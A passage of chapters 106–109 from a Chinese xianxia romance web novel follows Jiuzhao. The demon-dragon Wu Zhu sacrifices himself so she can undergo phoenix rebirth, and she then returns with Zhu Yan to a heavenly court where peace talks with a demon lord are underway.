“你说,他们遇到我,是不是都很不幸?” 九昭的咬字落在“不幸”二字时放得极轻,眼睛飞快闪过深刻的歉意。 她顿了顿,歉意又悄然发生变化,流露出一丝不甘的意味:“还有,明明想好了要跟过去的自己告别,要担负起储君的职责,还没来得及改变三清天,我就要在这里死去……真不服气。” 巫逐对于九昭口中的父神和晏郎都不感兴趣。 反倒在她提到最后一点,主动搭腔道:“所以,你想怎么改变三清天?” 跟仇敌谈论理想,只会遭到嘲笑,九昭敷衍着他:“总归跟你想象的不一样。” 巫逐又是一声笑:“也对,我想象的是紫微宫从最高处坠毁,整个三清天灭亡,反正大家都是为了内心的欲望而活着,比起那群道貌岸然的神仙们,我倒觉得魔族统治世间来得更好。” 他太了解九昭,才会知晓本该由九昭亲自作答的问题答案是什么。 也正因为太过了解九昭,他更清楚怎样三言两语挑起九昭的怒火。 果然,九昭拔高声调,情绪有了明显起伏:“你跟我血契相连,同生共死,我们都没多少时间可以活了,临死前还要吵架到底是你的癖好吗?难道你就没有什么未完成的遗憾?” “我又不像你们神仙一样矫情。” 巫逐抬了抬龙躯,由于长时间的趴伏,他腐烂的血肉有一部分和身下地面粘连到了一起,随着他的动作,血肉被强行撕开,他轻声倒吸一口凉气,精神却在跟九昭的斗嘴中振奋许多,“我无父无母无爱,唯一惦记的人便是巫劭,可曾我和他并肩战斗过万年,此生早已值得了。” 九昭不料他全然不按照自己的计划来。 过了好一会儿,才喃喃道:“……那你可真洒脱。” “不过经你这么一提醒,我好像是有那么遗憾的事情。” 巫逐又话锋一转。 九昭追问道:“是什么?” “你把我当成祝晏用了那么多年,从未叫对过我的名字,不如现在唤声逐郎试试?” 九昭一怔。 随即羞恼起来:“滚!!” 巫逐哈哈大笑起来。 身体随着笑意震动,尖锐的疼痛如海潮般传来,他却是那样畅快。 笑了一阵,他终于收起嗓音里最后一道会刺痛人的棱角,轻声说道:“九昭,其实抛开敌人的身份不谈,我并不讨厌你,你不像你的父亲嗣辰,也不像你那个为了爱情放弃一切责任的母亲。 “你和我遇到的三清天神仙都不一样—— “如果坐在神帝位置上的人是你的话,说想要改变三清天,我想我会相信是出于真心。” “……” 和巫逐缔结血契近百年。 在占据绝对上风,压制着他时,九昭也不曾听见他为了免于受罚而说些讨好自己的奉承话。 巫逐几经更改的态度,令她一时有些难以适从:“怎么突然对我说这些?” “是你说的,不要到死还带着怨气互相争执,反正一切已经没有意义了,不如说点真心话。” 真心话。 这三个字甚至比前头巫逐夸奖她的话杀伤力还要大。 九昭感觉到自己的鸟脸,逐渐散发出比元初之火还要烫的温度,她又把脑袋从羽毛中探了出来,煞风景道:“好,说真心话,那你能不能告诉我,当初说给父神下了毒,究竟是不是真的?” “你猜。” 巫逐逗弄着她,心中则为刚才的话忍不住补充说明。 的确跟他遇到的三清天神仙都不一样。 一个藏不住心思,半点也不会同人周旋的傻姑娘。 旁人就算为了达成目的,也多半会就着刚才的气氛,再虚与委蛇几句,以期打动自己。 哪有如她这般,呆头呆脑把最关心的问题直接说出来的。 可—— 巫逐阖了阖眼,没再继续想下去。 九昭清楚他虽言抛开仇敌身份,彼此可以和平相处,但归根究底这个假设根本不可能成立。 意料中的拒绝,她失望之余,尚算能够平静接受。 苦笑一声过后,若无其事地问出下一句:“那么,那些欺负你的人呢,他们真的死了吗?你所告诉我的那些可怕死状,究竟是确有其事,还是为了引出我的心魔,刻意编造的故事?” 巫逐缄默着,并不言语。 九昭继续说道:“问有关父神的事情,的确出于我的私心。可第二个问题,纯粹因为不想欠你。终究是我借走了你的颌下珠才复活了凤凰神树……我也明白,这些日子,若不是你趁我昏迷偷偷施展神力为我救治,我也撑不到如今。我生来不愿欠任何人人情,更何况是你这个仇敌。 “若他们还活着。 “若我进入树心前承诺你的事没办法做到。 “请你再想想,在我们死前,我还有什么事情是可以为你做的。 “我还给你。” …… 许久过后,巫逐终于有了反应。 他拖着伤痕累累的龙躯,从九昭的灵台深处浮现。 无神的双眼同她对视:“既然如此,那就借我你的眼睛。” 106| 第106章 ◎“为一人生,为一人死。”◎ 巫逐看不见的视野里, 有淡淡阴霾出现在九昭眉眼一瞬。 但事情到了这个地步,留给她的选择仅有一个。 她强迫自己放空思绪,来降低内心的抵触。 问道:“眼睛, 要怎么给你——需要我挖出来吗?” 巫逐没有立刻回答。 他缩回灵台, 试图催动魔血去感知九昭对于这个提议,究竟怀揣几分真心。 可惜他的神力将近枯竭,无论怎样努力,所探知得到的情绪唯余一片似是而非的朦胧。 生性多疑的人, 不再能够其他手段验证真相。 此时此刻,如何判断,仅能凭借他的感情。 略微沉吟过后, 巫逐做出了选择。 他含义不明的语调,在九昭脑海平静响起:“你我的血脉相连,又同属火系,拥有这两点, 倒是能够弥补位阶上的差距, 挖出你的眼睛换给我, 我的确可以重获长久的光明。” 九昭道:“好,那我——” “不过, 我要长久的光明又有何用, 反正都要死了。” 巫逐打断她违心的话,继续说着, “还有一个办法, 你放弃神魂对我的抵抗, 让我占据你的身体, 我便能够通过你的眼睛看清这个世界, 如此, 也不会伤害到你。” 这次,不言不语的人变成了九昭。 占据她的身体。 这不就是巫逐这么多年以来一直想要做到的事? 若自己真的放弃抵抗,被他掌控,又如何确保他真的只是拿来获得光明,而不在别处使坏? 从九昭的沉默里,巫逐立刻读懂她的未尽之意。 他沉笑一声:“怎么,怕我利用你的身体干些什么吗?你也可以不答应。 “反正你我是仇人,根本没必要讨论什么亏欠补偿,我为你做的事自有我的利益考量——不为你修复伤口,你早就被元初之火吞噬了,血契自然也不会允许我苟活到今日,仅此而已。” 巫逐的言语冷静而无谓。 倘若不是手腕上的血线在一日一日变淡,九昭根本无从发觉他心中的真正感情。 既然想好了定要跨过最后一步,将他的喜欢催化成爱意。 那么,她所能做的,就是奉上所有去赌。 支付的代价越大,得到的回报才能越高。 踌躇不定者,只能死在元初之火的焚烧之下。 想到这里,她咬了咬牙,回应道:“我既予你承诺,便没有反悔的道理——你来便是。” …… 撂下话后,九昭一声不吭地解除了神魂的防御,接纳起巫逐的侵入。 那明显的异族气息一点一点占据着她的身体,她感觉到看不见的自己正在被一股力量缓慢压缩,直至变成扁扁一片,被排挤到灵台的角落——仙的力量终不能与神相较,失去了最后一道防线,她彻底从识海的掌控者,沦落成这副皮囊的寄住者,如一开始的巫逐那般,仅能颅内对话。 与满心不适的九昭全然相反,巫逐十分享受这个过程。 一种奇妙的感受弥散在他意识当中,甚至盖过了重伤的躯体时时传来的浓重疼痛。 纵使他们不曾相爱,发病时将他看成祝晏的九昭也不曾与他真正结合。 他却在与九昭的逐渐融为一体中,感受到了那种飘飘然的、水乳交融的快乐。 自被母亲分娩到这个世间起,他再未有过如此亲密的体验。 他用神识一寸一寸摩挲过九昭的血肉脉络,解读着她的桀骜、热烈和勃勃生机。 无尽的黑暗被驱散。 长久笼罩在他身上的寒冷被年轻的肌体捂热。 明亮到锋利的光线降临,破开薄薄眼皮的遮蔽,激出温热的生理泪水。 巫逐舒展着身体,凤凰的长羽褪去,属于女性的婀娜曲线在火光里重新诞生。 他睁开双眼,重获光明,却没有如与九昭交谈的那般,最后一次好好看看这个世界。 用神力信手凝出一面揽照自身的灵镜,他仔细端详着这副属于九昭的面容。 斜长的眉峰,妩媚的眼睛。 随着眼珠的转动,镜中之人也在缓慢地游弋视线。 可不管如何流转,都在全神贯注地看着一处。 她在看着自己。 没有祝晏。 没有神帝。 没有乱七八糟的,她所惦记着的其他人。 她只是看着自己。 一种发自内心的愉悦,令巫逐勾起唇角,轻叹道:“原来主人你是这副模样。” “你不是要看一看这个世界吗? “一直盯着我瞧算什么?” 九昭望着他的动作,和专注到偏执的眼神,感到十分不自在,没好气地质问。 然而下一瞬,她的意识突然一沉,某种可怕的昏沉感猝不及防降临—— 掌握了主导权的巫逐,竟然正在封闭她的五感。 “喂。 “喂—— “你到底想干什么? “巫逐,别这么做——” 九昭最后一句绝望的话音入耳,灵台中只剩下一片空茫的安静。 他隔绝她的五感,让她长眠在黑暗与阒寂里。 这具九昭的身体,真真正正成为了一副空壳。 “傻姑娘,都说了,不要相信魔头。 “半魔,不也是魔头?” 巫逐抬起头,对着再也无人回应的空气揶揄一句,而后合掌,召唤出伤痕累累的元身。 相较注视九昭面容时的温柔,他端详自己元身的目光,却仿佛评估等待出售的货物。 “罢了,嗣辰神力深厚,若不做到那步,恐怕只会功亏一篑。” 他自言自语一句。 探手朝向元身,赤色华光骤现,将元身尽数笼罩。 龙形的元身扬起脖颈,发出阵阵怒吼,巫逐的额头亦滑落汗水,迸起根根青筋。 随着绷紧的指尖一个用力,元身躯体上所有的鳞片均被神光拔起,连血带肉,骇若凌迟。 巫逐痛得两眼发黑。 双膝一软,跪倒在浮空中。 哪怕对疼痛再不敏感,元身重损的痛苦依旧穿透躯体,直击灵魂,令他恨不得立刻死去。 巫逐咬紧舌尖,定了定神。 他颤抖的指尖再度溢出赤光,将没有实体的龙鳞,缓慢催化成同等的神力。 很快,一大团神光于他掌心之下聚集。 他挺直赤/裸的躯体,将神光化作根根箭簇,朝丹田的位置疾射而去。 轰! 绝对力量与绝对力量的相撞。 那捍卫在丹田周围的屏障登时蔓延开蛛网般的裂纹。 见办法有效,巫逐沉默地操控着神光,反复冲击着那处。 鲜血逐渐从他唇角溢出。 他献上了凝结元身的所有本源神力。 这些神力不可再生,每冲击屏障一次,都相当于有一部分的他自己正在死去。 机械性的动作无需思考,巫逐忍受着剧痛,干脆强迫大脑回忆些美好的东西来支撑下去。 他想了一会儿巫劭。 想巫劭的赏识。 想巫劭对自己的鼓励。 还有堕天的前一夜,他们在高台之上把酒对月的那场谈心。 “阿逐,其实你没必要随我一同背叛三清天,你如今已是半神,拥有了地位和自保的能力,不会再有人敢随意践踏你,欺负你,这样我很放心,以后哪怕没有我,你也能好好地生活下去。” 这是巫劭对他说的话。 当时的他不理解何为生活,只毫无思考地回答巫劭:“你救了我的命,我便只为你而活。” 巫劭无奈地饮下一口酒,顺势拍了拍他的肩头:“阿逐,你的人生还很长,有太多事情你未曾经历过。也许有一天,你会遇到那个想要为她生为她死的人,但绝不会是我。” …… 无日渊一战中,他与九昭签订血契。 为保护她不被雷罚劈死,舍弃了万年龙躯化作元身重活一次。 如今,也在为她死去。 这就是巫劭所说的,为一个人生,为一个人死吗? 无人能够告诉巫逐答案。 但似乎这样重新活过来,再死去一回,对比从前行尸走肉般的人生,还算不赖。 …… 在瞳孔涣散的出神里,丹田的壁障终于被巫逐的箭簇击碎。 大片大片汹涌如海的水系神力涌现出来。 它们迅速将九昭包裹起来,修补着她身体的每一处缺口。 巫逐皱起眉。 再被嗣辰的力量萦绕一秒,他恐怕会直接吐出来。 他让出了对于九昭神魂的掌控权,回归奄奄一息的元身。 将两人绑定在一起,被迫共存百年的血契,亦于他脱离的瞬息浮现。 鲜红色的,丝线般的,一缕一缕。 脆弱不堪,却又无可撼动,好似命运。 巫逐又看不见了。 他的龙爪在半空无力地勾动两下,感觉到体内正有什么在一寸一寸断裂。 那时魔头爱上一个人的标志。 所有的法术,都在渐次失去作用。 他同她之间的最后一丝联结不复。 又要回归到永恒的黑暗和冰冷中了吗? 对于自己的所作所为,巫逐没什么可后悔的。 但原来如同九昭所说,当人真正即将死去时,脑海终究会浮现遗憾之事。 他放任身体,向树心深处的熊熊火海跌落。 一种奇异的温暖将他环绕。 是和九昭身上同源的气息。 巫逐安详闭上眼睛。 …… 远处,青蓝神光完成了最后的修复。 涅槃重生的九昭化作凤凰,在嘹亮的长唳中展开双翼,冲出困顿四十九年的树心。 107| 第107章 ◎“涅槃。”◎ 冲天而起的火光中, 巨大的双翅尽情舒展。 一股磅礴的力量如狂风般穿透树心,起初为虚影,而后凤凰的模样越来越清晰。 天地尽在脚下, 日月与之并肩。 其羽翙翙, 其鸣锵锵。 它迫不及待地朝苍穹疾去,想要向整片河山宣告自己的涅槃重生。 直至锋锐的凤喙撞上青蓝色的神力禁制,感受到不甚明晰的痛楚,才消弭了眸光中的狂热。 它回笼属于人的意志, 在又一阵旋飞后,缓缓落地,凤羽一片一片褪去。 皎洁无瑕的女/体于仙光中凝结重生, 赤/裸的肌肤呈现出堪比象牙一般的洁白。 涂有鲜红蔻丹的手掌探出混沌,紧接着信手一握,虚空中赤色的华丽衣裙如瀑布倾泻而下。 衣服自动裹覆九昭的躯体,她光脚散发, 漫步登上高台。 站立在以凤凰神树为中心, 朝四周弥散的元初之火当中, 她展开双臂,阖眸深吸一口气。 暌违已久的自由令她欣喜, 曾经灼肤摧骨的火焰如今已变得那样可亲。 它们亲昵地簇拥着九昭, 时而亲吻她的长发,时而化作裙摆纹路上的一缕。 九昭感受到前所未有的平静。 她抬起手臂, 腕间红线尽褪, 象征着她同巫逐的契约已解, 不再受到牵制。 九昭却未放松, 她施展仙力, 分散所有仙识, 沉入体内,细细检查着每一处的情况。 确认没有异样,巫逐不曾在她身体里埋下其他隐患后,她辗转着,探知起心脉上的魔息。 心魔既成,并不会随着力量的增长而消解。 这种源于认知的负面产物,除非某日真正做到顿悟,否则只会壮大,无法解除——所以在过去仙魔未分家前,才会有那么多人宁愿舍去一部分情感和记忆,也要将心魔封印在无日渊当中。 但只要能活着就好。 等待着自己的,是今后万万年的漫长岁月,只要无人引诱,总是能够限制在可控范围内。 经历过真正的生死一线,九昭对于许多事都看开不少。 她抬头仰望凤凰神树高大的树干,心中猜测巫逐应当已经死了。 那时她尽管被剥夺五感,进入沉眠,可神力冲击丹田的剧烈震动,依然朦胧传来。 她的计划成功了。 巫逐的确爱上了她,并且心甘情愿牺牲自己,冲开封印的神力,助她完成涅槃。 九昭缄默着,不知该作何想。 她抬手贴住树皮,沟通起其中的元初之火,不多时,得到树心再无生息存在的回应。 早在无日渊替她挡了整整一夜雷劫的时候,巫逐于三界众生眼中,便已死去。 他们纠葛了百年,也相互算计了百年。 纵使他替她释放神力,又种下心魔隐患在她体内。 以及那不知是否真实存在的颌下珠之毒。 巫逐种种反复矛盾的行为,致使仇敌这一简单明了的关系逐渐模糊。 三清天先负他,他又负三清天。 他斩落了无数仙兵的头颅,又被父神刺瞎双目,囚在无日渊经受无尽折磨万年。 他差点杀了她,害她失去第二片本命翎,又被她算计产生真心,落得个死无葬身之地。 尘埃落定之日,九昭陡然发觉,自己面对他的死讯,失去了恨意,唯余迷惘的哀伤。 这是错吗? 这是巫逐一人的错吗? 纵使她为三清天的储君,也无法对着巫逐说出“这全都怪你”。 “感谢你的爱。” 她放轻动作,抚摸着粗糙的树皮,低声自言自语,“其实死前的最后一次对话,我同你说过的那些,不完全是虚情假意。从你的身上,我看出太多被隐藏起来的黑暗和不公…… “若压迫过你的恶人们依然活着,我发誓,我会替你报仇—— “我发誓,从今以后,血统不再是评判一个人是否可靠且高贵的标准,我会尽我所能,建立起一个更加清明,更加开放包容,令无错者不再受到压迫的三清天。” 语毕,她双手抱拳,深深揖了一礼。 没有任何留恋地转身离去。 …… 离开被神力结界包围起来的圣地,九昭陡然瞧见一座小木屋。 它突兀地矗立在焦黑土地之上。 外形无比简陋,仿佛是有谁迫不得已暂住在此,因而草草搭建。 是谁在这里,奉旨看守,亦或者,在等待她的归来? 脑海随之浮现一个叫人眷恋而歉疚的身影,九昭多了几分笃定的猜测,快步小跑过去。 木屋的大门上了锁,可锁在触及她的指间时自动解开。 九昭站在门口,屋内的光景一览无余。 几乎没有任何家几和摆设,靠近窗畔的一张窄床,上面堆积着一圈五颜六色的衣物。 衣物中间,是蜷缩起来,怀中同样抱着赤红长裙的祝晏。 他清癯的躯体微微起伏,似乎睡得极沉。 九昭收敛仙息,无声踱步过去,定睛一看,发觉那些衣物全都是自己留在南陵的衣裙。 相传动物会有筑巢行为。 木枝碎石的层层垒砌,会叫它们产生无与伦比的安心。 晏郎定是因为过于思念,才会如此。 建一座木屋在结界旁边,又找来这么多衣物,日复一日地守着自己。 九昭心口涌起一片温热之余,又不可避免地弥散开沉重的歉疚。 凤凰树心内,尽管她那么做,都是为了自保,可到底,辜负了祝晏这一片诚挚的爱意。 深深呼出一口浊气,九昭决心要在见过父神商议完巫逐的事后,同祝晏坦白,以期挽回自己犯下的错误,无论祝晏答应与否,她都会用尽全力治好他的弱症,让他余生都能过得健康愉快。 九昭原本想走,可触及祝晏眼底的青黑,终究不忍,选择暂时留了下来。 她也需要暂时留出些许时间,回顾往事,整理心绪。 她坐在床沿,安静地陪伴着祝晏。 顺便梳理一遍见到父神后,应该说的话做的事。 不多时,那气息绵长的青年倏忽呼吸急促起来,口中喃喃唤着“昭娘”睁开双眼。 眼帘映进九昭清瘦许多的面孔,他瞳孔边缘惊愕扩张一瞬,坐起来双手握上她的肩头。 “竟然、竟然是真的。”感受到布料之下触指回弹的肌肤,祝晏不敢置信地又握了握,转眼语无伦次起来,“我不是在做梦,昭娘、昭娘,你真的回来了——” “是啊,四十九年为期。” 九昭反手拥抱住他,“答应过你的,我一定会回来。” 祝晏一时没有开口,他的下颌陷在九昭的颈窝,身体从僵硬到震颤,幅度越来越大,而后有湿润的热意传来:“昭娘,我在,我在这里等了你四十九年,我好怕,好怕你再也回不来……” 久别重逢的激动,使得九昭同样眼中生热。 她听着祝晏略带哽咽的讲述,得知自从收到她进入树心的仙讯,他发誓一定要等到她修成归来,第一个与她相见,便不顾杏杳的劝告,选择搭建木屋,住在这荒凉焦漆的结界边缘。 他人虽住在此处,却也听从九昭的叮嘱,日日配合地接受杏杳的治疗。 “杏杳说过,想要延长寿命,你须得时刻待在长乐命牌内,借用神力滋养自身。”九昭将他翻来覆去地检查一遍,心疼道,“你怎么这么傻,非要住在这破烂屋子里,人也憔悴了好多。” “若还在长乐命牌里,我如何第一时间知晓你涅槃而出的消息。” 祝晏抱着她,眼角有泪,却止不住地笑,“幸好、幸好,终于被我等到了……” 两人相拥温存片刻,上头的情绪多少清醒了点。 九昭瞧着他容颜憔悴,但精神尚好,暂时放下心来,又惦记前去看望神帝的要紧事,遂同他说道:“晏郎,我有事要去见父神,你先回南陵等我吧,待我回来,便与杏杳商量医治你的事。” “你要见帝座吗?” 祝晏略显迟疑,却是没放开她的手,“现在恐怕不是最佳时机。” “为何?” 九昭不解挑起眉峰。 “一则,登天阶的修缮事宜已经完成,只为着你一直不曾从树心中醒来,几位金仙被耽搁在芸生世,一直没有返回三清天述职,不知真相的神署局那头,已经派人来问询过两次。” 说到这里,祝晏的表情明显有未尽之意。 他抬眸飞快逡巡九昭眉眼一圈,握着她手的掌心又微微加重了点力气,“另外,焚业海的魔尊兰祁来了,这几日他客居在紫微宫中,正与帝座商议仙魔两方的议和事宜。” “你说什么?” 曾经无比熟悉,如今又分外陌生的名字入耳。 九昭歪了歪头,仿佛一时没听懂祝晏到底说的什么意思。 祝晏没有回避她从短暂迷茫,到逐渐锋利的眼神。 “昭娘,我说,你闭关进入树心后没几年,焚业海便在魔尊兰祁的带领下,同我三清天爆发了战争,他不知从哪里修成了什么功法,突然实力大增,就连派去镇压的扶胥上神都受了重伤。 “这几十年间战局缠绵,仙魔互有胜负,还是月余之前帝座御驾亲征,才赢得最终的胜利。 “如今两方停战,为表诚意,兰祁亲自造访三清天,与帝座商量议和之事。” 108| 第108章 ◎“好久不见。”◎ 凤凰树心内度过的光阴。 说到底折磨的只是身心, 时间不算漫长。 高阶神仙随便一次勘悟境界的闭关,便要消耗数百年。 可九昭怎么也难想到,这期间竟然发生了如此多的事情。 扶胥受伤。 父神御驾亲征。 兰祁战败求和。 桩桩件件, 都让她生出无数恍在梦里的感觉。 她强迫自己快速消化这些事实, 那头祝晏又轻描淡写说起:“昭娘,另有一件事—— “帝座亲自率领军队大败焚业海后,大约是觉得接下来不会再发生危险,孟楚兄长便越过父王先斩后奏, 在帝座面前主动请缨说想上战场,帝座赏识兄长的勇气,封了他个先锋官的职位。 “也是不凑巧, 在追击魔兵的路上,兄长正好碰到兰祁,被他打成了重伤,两条手臂也废了。 “如今王妃正带着他四处求医问药, 但医仙们均道兄长的仙脉寸裂, 想来复原的机会渺茫。” 一切怎么会那么巧? 九昭的心底不由自主浮现出这个疑问。 就仿佛全程都有只看不见的大手在暗中推动。 九昭不知自己该从哪件事情开始思考, 只觉得每个环节看起来都没那么简单。 不过事有轻重缓急,当下她最在意的唯有神帝的身体。 紫微宫在议政, 不方便潜入, 她只好随口敷衍了句“残废的人是当不了神王的,连上天都觉得孟楚不配”, 又抓着祝晏试探道:“我不在的这些年, 你有没有见过父神, 他可一切安好?” “帝座时来探望我, 他一切都好。” 祝晏不疑有他, 温然朝她笑道, “昭娘单看他御驾亲征,还大败兰祁就知道了。” 说的也是。 若真如巫逐所言,父神中了慢毒,三清天尚未到危急存亡的时刻,就算扶胥受伤,总还有其他才能出众的将领可以选择,他何必拖着病体非要亲自出征? 把前后关节想通,九昭的担忧稍稍消弭些许。 如今也不得见,她只能先完成祝晏刚才提到的下界交接事宜。 “既如此,那我们先返回芸生世吧。” 她执起祝晏的手,起身想走,复顿住脚步,“不过不借助出入结界,直接开辟从三清天到芸生世的跨界阵法,是上神才能做到的事,我们要如何瞒着渡引仙官下去?” “帝座都已经为我们准备好了。” 祝晏自储物戒中掏出朵半开放的青蓝莲花,掷落在地。 随即一蓬神光爆出,笼罩二人。 …… 天上一年,人间一天。 算起来也不过三五月未曾相见。 九昭和祝晏并肩立于壶天珍宝斋前,瞧着客人进进出出,里头两道熟悉的身影忙忙碌碌。 “咳咳。” 她清了清嗓子,提醒内里自己的到来。 忽见两位驻守仙官的身形微滞,女仙离火的反应更快,三步并作两步小跑着迎了出来。 “殿、啊不,小姐——您回来了!” 九昭尚未说话,落在后方的巽泽一转身,笑着对客人们下达了委婉的逐客令:“对不住了各位,恰逢东家过来视察生意,今日得闭门歇业一天,下次各位再来,我给各位通通打八折!” 他这一通连哄带劝,还送了些颇有价值的古玩小件,到底没闹出什么风波。 待到店内彻底清空。 离火环顾一圈,郑重关上大门,将九昭和祝晏迎上三楼。 他们这一路上楼来的喧闹声,早就引起了住在三楼的另外二人注意。 “呜呜呜小姐,我好想您……” 从侍奉九昭起,就未曾与她分别这么久的绛玉,扑过来抱着她哭泣。 喜极而涕的心情促使下,她也顾不上保持面对君上应有的礼仪。 九昭无奈单手反抱着她,朝半丈外,驻步一瞬不瞬望着自己的朱映颔首:“你快给绛玉找块手帕来擦擦,否则我今日便要就着她的眼泪洗热水澡了——” “呜呜呜小姐您还取笑我……” 绛玉顿时哭得更大声了。 大家反倒纷纷笑了起来。 朱映的面容沉静如旧,内里的心绪却起伏如潮。 他平静了好一会儿,走上前来将两人分开,又拉着绛玉,利索下跪见礼:“恭迎殿下归来。” 另一边,离火打了个响指,唰唰两道法光降临在她身后。 见是昼芙和另一位金仙,瀛罗不知踪影,九昭难免挂心起来。 她正想询问瀛罗的情况,却闻走廊右侧房门轻轻开启的动静。 “小姐。” 温润悦耳的青年嗓音淌入耳畔,九昭猛地咬住嘴唇,象征欣喜的热意再度涌出眼眶。 她顾不得周边的几人如何看待自己,转身直奔声源而去。 “瀛罗!” 她迫切拉住青年的衣袖,进而握紧他体温偏低的双手,“你可大好了吗!” 那双剔透如宝石的眼珠自上而下,认真端详她片刻,瀛罗曲起手指,替她揩掉眼角洋溢的泪花,唇角随即勾起抹无奈而纵容的笑:“小姐别哭啊,我可好端端地站在您面前了……您方才还在笑话绛玉姑娘爱掉金豆呢,怎么这一刻反倒‘以身作则’起来了。” 眼帘映入残留在瀛罗指腹上的晶莹水光,九昭面颊微微一热,伸手捶了下他的肩膀:“我看也是好得差不多了,否则就凭你当初躺在寒玉床上病歪歪的模样,哪来的力气嘴坏!” “哎,小姐轻点,我如今还算半个病号——” …… 祝晏站在距离九昭和瀛罗一步开外,维持着温和的笑意,没说什么。 可更远处的几位旁观者却面面相觑,瞥见彼此眼底的无措和窘迫。 归根究底,其实他们并不清楚,当初连夜消失的九昭、祝晏和瀛罗去做了什么。翌日仅有一封盖有九昭专属印章的灵讯传来,说他们另有要务,修补登天阶的事宜交给剩下两位金仙。 虽心有不解,但九昭作为当场职位最高的督工兼储君殿下,无人敢对此提出异议。 好在认命修补几日,作为九昭身边第一统领仙官的朱映秘密上天,拜见神帝后为他们带来丰厚赏赐,远胜过应得恩赏数倍。与赏赐同步传达的,另有一道旨意—— 要求他们以神魂为誓,余生守口如瓶,不得对任何人提起三人连夜消失之事。 一月之前,瀛罗重返芸生世。 眼下,九昭又带着祝晏归来。 出门迎接最早的离火,眼尖捕捉到了他们十指紧扣,来不及松开的双手。 脑海更多了些有关感情纠葛的猜测。 莫非是什么狗血三角恋,殿下选择了祝晏仙君,而瀛罗世子遗憾退场……? 可此刻看来,殿下同瀛罗世子之间亲密依旧。 离火悄悄探头,打算觑一眼侧对着他们的祝晏脸色。 脖子伸了半截,祝晏冷不丁扭头过来,居高临下对上她的双眼。 狭长的翠色瞳孔陷在逆光之中,和煦如常,只是眸光被深灰色的阴影尽数笼罩,那片原本流淌着的翡翠湖泊,便成为了两湾凝结的深潭,多看几眼,竟让人有些毛骨悚然。 小动作被人捉住,离火吓得眨了眨眼。 视线再聚焦时,前端的场景恍若错觉。 祝晏对着她笑了笑,掌心朝上平摊,转眼多出个雪白瓷瓶:“此次差事,诸位都辛苦了,这是帝座命我赐予你们的。一共五颗仙丹,一人一颗,服下后能增长五千年的修为。” 同瀛罗寒暄结束的九昭骤闻这仙丹的功效助益,也不禁暗自咋舌。 提升修为的丹药,没有其他途径可以炼制,仅能从犯了错的罪仙身上提取。 五颗加起来一共两万五千年,如此赏赐,不可谓不珍贵。 九昭知晓丹药的贵重,其他人自然也知。 作为领头者的离火更是控制不住狂喜的面色。 “臣谢过帝座,此后定将恪尽职守,为三清天效犬马之劳!” 她恭敬跪地接过瓷瓶,倒出丹药分给自己和其余三人。 还给祝晏时,余光不经意扫过瓶隙—— 那散发着盈盈仙光的丹药,瓶底竟还躺着两粒。 刚才说的,不是五颗吗……? 不等离火想出祝晏这么做的原因,祝晏又将药瓶转手交到瀛罗手里。 “世子,这是帝座给你的赏赐。” 瀛罗看也未看,微笑推辞道:“此前九昭殿下已降恩于我,帝座着实不必再为我费心。” “更何况——” 他握着瓷瓶轻轻一摇,故作不解:“这剩余丹药,当有一粒是帝座赏予你的,这是何必?” “帝座的赏赐归帝座,还有一粒,是我私心的答谢。” 迎着瀛罗幽微的眼神,祝晏坦然勾起唇角,“感谢世子舍命替晏守护住了心中至宝。” …… 那两颗丹药,最后祝晏和瀛罗一个未留。 视察完登天阶修补情况,在九昭的提议下,赐给了两位接替他们差事,昼夜无休的金仙。 应尽的差事已毕,九昭命驻守仙官先行发送急讯,通知渡引仙君打开结界,而后与之告别。 来时只有她和祝晏两人。 去时却是浩浩荡荡一众。 回归三清天的路上,祝晏习惯性地落后一步,想要融入以瀛罗为首的下属仙官当中。 反被九昭扣住指尖。 “不必退后。” 九昭柔情且不容违拗的眸光望向他,“你是我认定的王夫,位置只在我身边,不在别处。” 这意外的告白来得太快太好。 好到祝晏大脑一片空白,只顺从本能将她牢牢抓住。 半晌,他的鼻腔溢出响亮促音:“……嗯!” …… 汹涌喷发的幸福感将祝晏淹没。 以至于他偶尔回首看向后方,连那个一贯以正当名义掩盖龌龊心思的瀛罗也面目可亲起来。 他依偎在九昭身边,晕乎乎地飞着。 整片天地化作一个巨大的酒坛,快要将他彻底溺毙。 这种幸福持续到三清天的入口越来越近、越来越近。 穿过神力结界,他们以正大光明的姿态,重新踏进这片始终高高在上的土地。 而作为迎接的。 是身穿隆重礼服,头戴十二旒的神帝。 以及分别位于他身畔左右的扶胥、和兰祁。 再往后,静默站立着一众面容或熟悉或陌生的仙官、士兵、仆婢。 数目相对,祝晏察觉到掌心里,属于九昭的手僵硬了一瞬。 他侧转余光,见她立刻如过去每一次出现在众人眼前那般,悄悄挺直背脊,半抬下巴。 语气却不复澄心池相遇时的傲慢和睥睨。 “好久不见。” 他听见她平静地说。 109| 第109章 ◎“你的眼光真是越来越退步了。”◎ 素来黑色不离身的扶胥今日一反常态, 穿了套深青的袍服。 反倒是九昭印象里热爱浅色的兰祁,饰墨玉冠,着玄霜衣。气度从容, 半点瞧不出是战败方的样子。 无人通知九昭, 神帝会在结界口等候,她更不曾预料到,会在此处碰上扶胥和兰祁。 世间的相遇在多数情况下,总是来得猝不及防。 视线望去的瞬息, 九昭的脑海并未浮现任何有关爱恨的情绪。 她只觉得,虽然两人尽在眼前,却恍若相隔天堑。 天堑的那头, 具象化的人事扭曲成抽象的符号,代表着她已然失去的、少不经事的往昔。 天堑的这头,则是被她掌握在手中的现在,以及还能够选择的未来。 这句念头的升起, 令九昭略微恍惚的瞳孔无声归于清醒。 是啊, 他们, 和更年少的自己,已是过去。 而不断回顾过去, 往往是最没有意义的事情。 所有人都只能向前看。 也不得不向前看。 毕竟力量强大如神明, 也做不到扭转光阴。 说完好久不见,九昭将目光转回神帝所在之处, 瞧着他如祝晏所言一般神采奕奕的面容, 她露出一线心安的笑意, 又迅速沉静面色, 朝神帝长揖到底, 恭敬唤道:“儿臣归来, 见过父神。” 她一丝不苟的行礼动作消解了结界前凝结的气氛。 而后除了她、神帝与兰祁以外,所有人合臂下跪,行全礼,高呼拜见神姬殿下。 这其中也包括祝晏。 他们一路上紧握的双手顺势为此分开。 兰祁澹默的目光掠过九昭,自上而下一瞥跪拜在她身边的青年,随即客气道:“看来神姬殿下不仅出色地完成了神帝交予的差事,于另一件人生大事上也有了着落,真是可喜可贺。” 九昭抬手道了声平身。 迎着兰祁的视线,她往祝晏的位置站得更近一点,理所当然地再度同他十指紧扣:“这是自然,距离三万岁的成人礼已然过去千年,本殿早已不是孩子,成家而后立业,总归没错的。” 她坦荡承认着祝晏的身份,而神帝更是颔首说道:“昭儿,你与阿晏回来就好。也是业尊生性热忱,听闻你归来述职,不愿坐在紫微宫稍事等候,定要与本座同来此地迎接。” 